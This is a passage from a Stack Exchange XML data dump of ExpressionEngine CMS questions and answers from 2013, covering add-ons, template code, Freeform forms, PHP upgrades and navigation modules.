  <row Id="13636" PostTypeId="2" ParentId="13635" CreationDate="2013-09-10T18:24:15.320" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;http://devot-ee.com/add-ons/mx-getid3&quot; rel=&quot;nofollow&quot;&gt;MX GetID3&lt;/a&gt; plugin for this purpose. This addon seems updated before 1 year but it would work.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-10T18:24:15.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13638" PostTypeId="1" AcceptedAnswerId="13639" CreationDate="2013-09-10T18:46:30.890" Score="2" ViewCount="401" Body="&lt;p&gt;I'm trying to pick a navigation module that will dynamically update the main nav, secondary navigation, and landing pages as pages are added, keeping everything consistent. This is a requirement because otherwise the client will make a mess out of the navigation, making it inconsistent and ruining the user experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my research it seems NavEE is not the answer. It appears to be fully manual. Can someone explain the difference between Taxonomy and Structure, when you would choose one or the other, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-09-10T19:30:03.120" Title="Can someone explain the difference between Structure and Taxonomy?" Tags="|module|structure|taxonomy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13639" PostTypeId="2" ParentId="13638" CreationDate="2013-09-10T19:00:34.027" Score="2" Body="&lt;p&gt;Structure is the only self-contained solution to have a completely automated, whole-site navigation for every Pages URI that is &lt;em&gt;automatically&lt;/em&gt; kept up to date as the end user adds new pages or changes the overall Pages URI hierarchy. But Structure is more of a whole-hog commitment to how you set up and build your site (some like this, others do not). In other words, Structure is not just for navigation it's a way of building sites with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both NavEE and Taxonomy (my personal favorite) are &lt;em&gt;just for navigation&lt;/em&gt;, are very open-ended, and require more hands-on approach from the end user. They also require a more savvy, or better-educated, end user. The upside is that they are really flexible and make no assumptions about how you're setting up your site &lt;em&gt;or&lt;/em&gt; your navigation.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-09-10T19:30:03.120" LastActivityDate="2013-09-10T19:30:03.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13640" PostTypeId="1" CreationDate="2013-09-10T20:04:54.450" Score="1" ViewCount="111" Body="&lt;p&gt;I've got a setup on a site (currently running with CartThrob) where I need to select a Price Modifier (or Matrix) row via a Playa field, which I realise isn't possible with a hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be 100's of products (yarns and wools) and each would have several Price Modifier rows (colours). The colours are what I need to get to from the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yarn 001 Red&lt;/li&gt;&#xA;&lt;li&gt;Yarn 001 Blue&lt;/li&gt;&#xA;&lt;li&gt;Yarn 001 Green&lt;/li&gt;&#xA;&lt;li&gt;Yarn 002 Red&lt;/li&gt;&#xA;&lt;li&gt;Yarn 002 Purple&lt;/li&gt;&#xA;&lt;li&gt;Yarn 003 Black&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I need to create custom bundles of yarn colours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of the Packages field in CartThrob - but I need to be able to let the customer remove items from the bundle which doesn't look possible with CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone tell me any different please?&#xA;Or can Store do this sort of functionality?&lt;/p&gt;&#xA;" OwnerUserId="820" LastEditorUserId="820" LastEditDate="2013-09-10T20:49:20.603" LastActivityDate="2013-09-11T18:37:28.883" Title="Let customers remove items from CartThrob packages" Tags="|expresso-store|matrix|playa|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13641" PostTypeId="1" CreationDate="2013-09-10T20:25:05.797" Score="3" ViewCount="777" Body="&lt;p&gt;Hi Folk I'm trying to learn the basics of EE2 and have setup a test rig using MAMP PRO I got everything working. I'm basically converting one of my basic static websites into a EE2 driven site.&#xA;However when I tried to login to the admin area yesterday I've seem to be missing most of the formatting i.e I can still login however the back-end interface is mostly missing. the front end is still working okay. What do you think has happened and how do I get the back-end fully back with out doing a full install again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan   &lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="69" LastEditDate="2013-09-10T22:01:19.403" LastActivityDate="2013-09-10T22:01:19.403" Title="admin backend template (CP styles) not fully showing" Tags="|control-panel|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13642" PostTypeId="1" AcceptedAnswerId="13651" CreationDate="2013-09-10T20:45:39.347" Score="2" ViewCount="229" Body="&lt;p&gt;For several years I have been using this &lt;a href=&quot;http://simplecard.budda.ch/&quot; rel=&quot;nofollow&quot;&gt;simplEcard&lt;/a&gt; solution for a site and this year it appears that the gap between the last update to the solution and the 5.2x version of PHP has grown too wide and generates a number of PHP error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of a good eCard solution that could be integrated with EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-09-11T03:20:13.447" Title="Is there a good eCard/eVite Solution available?" Tags="|php|events|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13644" PostTypeId="2" ParentId="13641" CreationDate="2013-09-10T21:20:48.940" Score="6" Body="&lt;p&gt;If you mean that the control panel pages appear without style and formatting this sounds like a path issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the control panel, go to &lt;em&gt;Admin &gt; General Configuration&lt;/em&gt; and check the &lt;strong&gt;URL to your &quot;themes&quot; folder&lt;/strong&gt; and &lt;strong&gt;Theme Folder Path&lt;/strong&gt; are both correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not it, then I'd double check the permissions on the themes folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use your web inspector console to check for errors.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-09-10T21:20:48.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13646" PostTypeId="1" CreationDate="2013-09-10T22:35:37.540" Score="0" ViewCount="78" Body="&lt;p&gt;I've had a few run-ins with that spam attack that is often used against Exp Eng sites which creates endless member accounts for the sole purpose of adding links back to whatever the spammers are trying to promote. The Member's URL in the member profile is used for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a site that basically locks down everything so that comments and other content are only available to logged in members. Since search engines would not be logged in they wouldn't see any comments and wouldn't see any spam link backs in the comments. Not that this would really dissuade spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to do the same for Member Profiles so that they can only be seen by other members who are logged in. As far as I know there doesn't seem to be a preference for this. Any ideas on preventing public access to member profile pages?&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-09-11T02:20:52.200" Title="Is there a way to block access to member profile pages so only logged in members can see them?" Tags="|members|member-management|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13647" PostTypeId="2" ParentId="13646" CreationDate="2013-09-10T23:52:38.303" Score="2" Body="&lt;p&gt;You can edit the member-profile templates so that they contain all the actual page content in the conditional if logged_in tag. You can either put the opening if logged_in tag right before the DOCTYPE tag, and the closing one after the /HTML tag; or you can put it further down. (Or - if you want to let people see your member profiles but NOT the site URLs, contact methods, or the member bios, you could tag just those table cells so that the contents are only displayed when someone is logged in.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-09-10T23:52:38.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13648" PostTypeId="1" CreationDate="2013-09-10T23:59:00.577" Score="1" ViewCount="191" Body="&lt;p&gt;I've got everything going smoothly with a single form–the composer, notification and template are all set. Works like a charm. In the template, I called the first form specifically as such: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer&#xA;  form_name=&quot;volunteer_application&quot;&#xA;  composer_template_name=&quot;some_template&quot;&#xA;  return=&quot;/&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I am unsure how to allow the template to grab the form_name chosen in the EE admin–where it gives the user the option to &quot;Choose a Freeform Composer Form to output.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely I don't need to create a different template for each form?&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2013-10-11T14:57:45.557" Title="Display &quot;Chosen&quot; Freeform Composer output in EE Template" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13650" PostTypeId="2" ParentId="13548" CreationDate="2013-09-11T02:02:02.057" Score="3" Body="&lt;p&gt;Testing Mo'Variable's &lt;code&gt;{if ajax}&lt;/code&gt; and &lt;code&gt;{if not_ajax}&lt;/code&gt; conditionals in a User error template showed that the content of these conditionals do not parse, or rather parse as empty. This is the code that was used in an error template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ajax}AJAX{/if}{if not_ajax}NOT AJAX{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above parsed to nothing in the error template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error templates bypass the native EE error message template and allow you to create and customize your own page. However, the full parsing engine might not be loaded on these special templates. Mo'Variable's conditionals might be part of what isn't loaded/reached/parseable. In fact, testing {if secure}/{if not_secure} lead to the same results (contents are parsed to nothing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried removing the {if ajax}/{if not_ajax} conditionals from your error template? If the error template contents then appear, then it could be that Mo'Variable isn't being accessed in these special error templates.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-11T02:02:02.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13651" PostTypeId="2" ParentId="13642" CreationDate="2013-09-11T02:13:48.790" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Basically something that allows you to select an image and email it to&#xA;  someone like an eCard.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could address that aspect of your question with built-in functionality and one add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a channel for storing your library of &quot;eCard Designs&quot; that a user can choose from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then another channel for &quot;User Created eCards&quot; and allow users to publish into this channel from the front end of your site using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;Channel Form&lt;/a&gt; (formerly SafeCracker). You'd be able to collect and store all the parameters of the eCard (to, from, message, design, etc) as custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in conjunction with this you can use the &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; add-on to template, dynamically fill, and deliver the email when the user creates their eCard entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this gives you the freedom of the Channel module, and since Postmaster is made to be adaptable, I think this approach would probably allow for the greatest flexibility.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-09-11T03:20:13.447" LastActivityDate="2013-09-11T03:20:13.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13652" PostTypeId="2" ParentId="13646" CreationDate="2013-09-11T02:20:52.200" Score="2" Body="&lt;p&gt;You may wish to consider applying the best practice recommendations that Ellislab include in the documentation, there's a great tip at the bottom by a user about renaming the 'Members' trigger word term spammers target:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&quot; rel=&quot;nofollow&quot;&gt;Installation Best Practices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally duplicate and rename a copy of the &gt;themes&gt;profile_themes&gt;default folder and run through selectively wrapping what information I want disclosed with the {if logged_in} conditional tags. &lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2013-09-11T02:20:52.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13653" PostTypeId="2" ParentId="13324" CreationDate="2013-09-11T02:44:31.623" Score="7" Body="&lt;p&gt;I don't know why this didn't occur to me before, but you can use {absolute_results} inside the Super Search tags. So, the lesson here is, &lt;strong&gt;if you need to use the channel entries style &quot;search:field=&quot; parameter to filter entries (NOT the Super Search &quot;search=&quot; parameter) and you need an accurate number of items returned, use {absolute_results} in place of {super_search_total_results}&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One trick to note about this is that {super_search_total_results} is available anywhere on the results  template, but {absolute_results} is only available inside the Super Search tags. Depending on how your template is laid out you may have to use Stash to put your {absolute_results} where you need it. (Stash on devot:ee: &lt;a href=&quot;http://dvt.ee/stash&quot;&gt;http://dvt.ee/stash&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-09-11T02:44:31.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13654" PostTypeId="2" ParentId="13598" CreationDate="2013-09-11T03:04:46.117" Score="1" Body="&lt;p&gt;We answered this privately, but we'll mentioning it here again for reference for other users, as it might be useful: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to import Calendar data through an .ics file (a calendaring file used in iCal, Google Calendar, etc, which contains calendar/event data). When creating a calendar entry in the &quot;Calendar: Calendars&quot; channel, there is a custom field for pasting a URL pointing to your .ics file. Saving the entry should import event data.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-11T03:04:46.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13655" PostTypeId="1" AcceptedAnswerId="13658" CreationDate="2013-09-11T03:09:02.030" Score="0" ViewCount="576" Body="&lt;p&gt;I've just been emailed from my site host stating they will upgrade the servers to PHP 5.4.19.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're hosting a number of sites with them and all range from EE2.2 - EE2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that sparked my interest, over and above due diligience, was these comments:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Safe mode is no longer supported. Any applications that rely on safe mode may need adjustment, in terms of security.&lt;/li&gt;&#xA;  &lt;li&gt;Magic quotes has been removed. Applications relying on this feature may need to be updated, to avoid security issues.&#xA;  get_magic_quotes_gpc() and get_magic_quotes_runtime() now always&#xA;  return FALSE. set_magic_quotes_runtime() raises an E_CORE_ERROR level&#xA;  error.&lt;/li&gt;&#xA;  &lt;li&gt;The register_globals and register_long_arrays php.ini directives have been removed.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if I should be on the look out for issues with the sites we're hosting here or should it be plain sailing ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-09-11T10:36:08.703" Title="Server upgrade PHP 5.4 - Any issues?" Tags="|ee2|php|server|v2.5.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13656" PostTypeId="1" CreationDate="2013-09-11T03:39:59.020" Score="3" ViewCount="142" Body="&lt;p&gt;Went to log into a local dev site tonight and suddenly get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error was encountered&#xA;Unable to load the requested class: jquery&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea what might have changed.  I've replaced all of the files in the system folder, and have slowly gone back through the themes folder, replacing everything I could think of, and making sure that all of the add-ons were updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently running EE 2.6.1 with the master config in place.  I enabled debug = 1 in the admin.php file but it doesn't show anything else.  The front end of the site comes up as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone happen to see this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Todd&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-10-11T16:57:45.653" Title="Can't Acess the CP - Unable to load class jquery" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13657" PostTypeId="2" ParentId="13349" CreationDate="2013-09-11T04:05:41.680" Score="1" Body="&lt;p&gt;OK, I'm now developing a systematic way for doing Feature Flags in EE--I'll post more examples as I get a bit farther along. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &quot;system&quot; does uses config-file global variables, Low Variables and/or Snippets. This should allow flags to alter which templates display, which entry_ids or channels are used, which external assets (CSS, JS) appear on the page, and more. (It's kind-of a combination of the answers from @dadonbike and @JamesSmith.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses a simple &lt;a href=&quot;https://github.com/jayf/php-feature-flags&quot; rel=&quot;nofollow&quot;&gt;PHP class for Feature Flags&lt;/a&gt;, that I've created. And, for example, if you need a blunt instrument and can you turn-off page caching, you can use a flag to do this kind of major swap from directly in the config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// EE config items&#xA;...&#xA;$config['tmpl_file_basepath'] = $_SERVER['DOCUMENT_ROOT'] . '/templates/';&#xA;&#xA;// FeatureFlag overrides&#xA;require_once  'php-feature-flags/feature-flags.php';&#xA;$FF = new FeatureFlags(array('cookie'=&amp;gt;'FF'));&#xA;&#xA;if ($FF-&amp;gt;isFlagged()) {&#xA;    $config['tmpl_file_basepath'] = $_SERVER['DOCUMENT_ROOT'] . '/templates-alt/';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, that's checking for a cookie named FF, and if it's present, giving EE a totally different template folder.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-11T04:05:41.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13658" PostTypeId="2" ParentId="13655" CreationDate="2013-09-11T08:14:42.523" Score="0" Body="&lt;p&gt;I've EE  site (from version 2.3 till 2.6.1) running on PHP5.4, no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-09-11T08:14:42.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13659" PostTypeId="1" AcceptedAnswerId="13661" CreationDate="2013-09-11T09:17:11.393" Score="1" ViewCount="91" Body="&lt;p&gt;Just wondering whether anyone has come across a replacement / fix for Copee Pastee which no longer appears to work in EE 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights would be most welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2013-09-11T09:52:19.270" Title="Copee Pastee alternative?" Tags="|add-on|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13660" PostTypeId="2" ParentId="13632" CreationDate="2013-09-11T09:40:36.370" Score="0" Body="&lt;p&gt;From the source shot, it looks like MarkItUp may be the issue, trying to turn the template editor into a wysiwyg &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-11T09:40:36.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13661" PostTypeId="2" ParentId="13659" CreationDate="2013-09-11T09:52:19.270" Score="4" Body="&lt;p&gt;Jim Pannell and I worked out a solution, making Copee Pastee work in EE 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to /system/expressionengine/third_party/copee_pastee/ft.copee_pastee.php, at line 77.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display_field($data)&#xA;{&#xA;    //nothing&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="844" LastActivityDate="2013-09-11T09:52:19.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13662" PostTypeId="1" CreationDate="2013-09-11T10:03:55.423" Score="0" ViewCount="892" Body="&lt;p&gt;I had a previous post &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13101/displaying-a-category-tree-accordion-with-gwcode-categories-bootstrap&quot;&gt;here&lt;/a&gt; in which I was able to get a category tree  working for 2 levels, however I'm having problems getting to work for a third level. I had edited the original post but never received an answer so that's why I'm creating a new question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get an accordion menu to work with bootstrap and GWCODE Categories. The problem I'm having is determining when a category depth starts and ends so that I can open and close divs appropriately. I have 3 main categories, multiple 2nd level categories, and multiple 3rd level categories. Here's the code I have so far which I'm trying to get to work for the third level of categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories  style=&quot;linear&quot; group_id=&quot;1&quot; depth=&quot;1|2|3&quot;}&#xA;{if depth1_start}&#xA;&amp;lt;div class=&quot;accordion-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;accordion-level1-header&quot;&amp;gt;&#xA;    &amp;lt;!-- LEVEL 1 CONTAINER --&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/{complete_path}&quot;&amp;gt;{cat_name}  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a class=&quot;accordion-toggle&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#{cat_url_title}-level2&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {if depth2_start}&#xA;    &amp;lt;!-- LEVEL 2 CONTAINER --&amp;gt;&#xA;      &amp;lt;div id=&quot;{parent_url_title}-level2&quot; class=&quot;accordion-level2 collapse&quot;&amp;gt;&#xA;    {/if}&#xA;      {if depth==2}&#xA;        &amp;lt;div class=&quot;level2-item&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/{complete_path}&quot;&amp;gt;{cat_name}  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#{cat_url_title}-level3&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;      {/if}&#xA;        {if depth3_start}&#xA;        &amp;lt;!-- LEVEL 3 CONTAINER --&amp;gt;&#xA;          &amp;lt;div id=&quot;{parent_url_title}-level3&quot; class=&quot;accordion-level3 collapse&quot;&amp;gt;&#xA;        {/if}&#xA;          {if depth==3}&#xA;            &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/{complete_path}&quot;&amp;gt;{cat_name}  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;          {/if}&#xA;      {if depth3_end}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- END OF LEVEL 3--&amp;gt;&#xA;      {/if}&#xA;    {if depth2_end}&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- END OF LEVEL 2--&amp;gt;&#xA;    {/if}&#xA;{if depth1_end}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/if}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The HTML that is output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- LEVEL 1 CONTAINER --&amp;gt;&#xA;&#xA;&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Data Solutions  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a class=&quot;accordion-toggle&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#data-solutions-level2&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- LEVEL 2 CONTAINER --&amp;gt;&#xA;&amp;lt;div id=&quot;data-solutions-level2&quot; class=&quot;accordion-level2 collapse&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;level2-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper&quot;&amp;gt;Copper  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#copper-level3&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- LEVEL 3 CONTAINER --&amp;gt;&#xA;  &amp;lt;div id=&quot;copper-level3&quot; class=&quot;accordion-level3 collapse&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper/copper-cable&quot;&amp;gt;Copper Cable  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper/copper-connectivity&quot;&amp;gt;Copper Connectivity  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/copper/plastics&quot;&amp;gt;Plastics  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- END OF LEVEL 3--&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- END OF LEVEL 2--&amp;gt; &#xA;&amp;lt;!-- LEVEL 2 CONTAINER --&amp;gt;&#xA;&amp;lt;div id=&quot;data-solutions-level2&quot; class=&quot;accordion-level2 collapse&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;level2-item&quot;&amp;gt;&amp;lt;a href=&quot;#/fibre&quot;&amp;gt;Fibre  &amp;amp;raquo;&amp;lt;/a&amp;gt; &amp;lt;a data-toggle=&quot;collapse&quot; data-parent=&quot;#accordion&quot; href=&quot;#fibre-level3&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-plus-sign pull-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- LEVEL 3 CONTAINER --&amp;gt;&#xA;  &amp;lt;div id=&quot;fibre-level3&quot; class=&quot;accordion-level3 collapse&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/fibre/fibre-cable&quot;&amp;gt;Fibre Cable  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;level3-item&quot;&amp;gt;&amp;lt;a href=&quot;#/fibre/fibre-connectivity&quot;&amp;gt;Fibre Connectivity  &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- END OF LEVEL 3--&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- END OF LEVEL 2--&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-11T11:57:45.267" Title="displaying category tree accordion for 3 levels" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13663" PostTypeId="1" AcceptedAnswerId="13737" CreationDate="2013-09-11T10:11:20.157" Score="2" ViewCount="367" Body="&lt;p&gt;In my template I have a Freeform Pro composer form with inline error handling turned on. I know that I can check if a certain field has an error by going:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:error:{composer:field_name}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I can check for general errors with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:general_errors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, is there a way to check if the (whole) form had any kind of error? Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:has_errors} (doesn't work)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to output a general error message in addition to the field and general errors. The fields are dynamic, so checking every one of them is not an option.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2013-09-12T20:30:36.557" Title="Is it possible 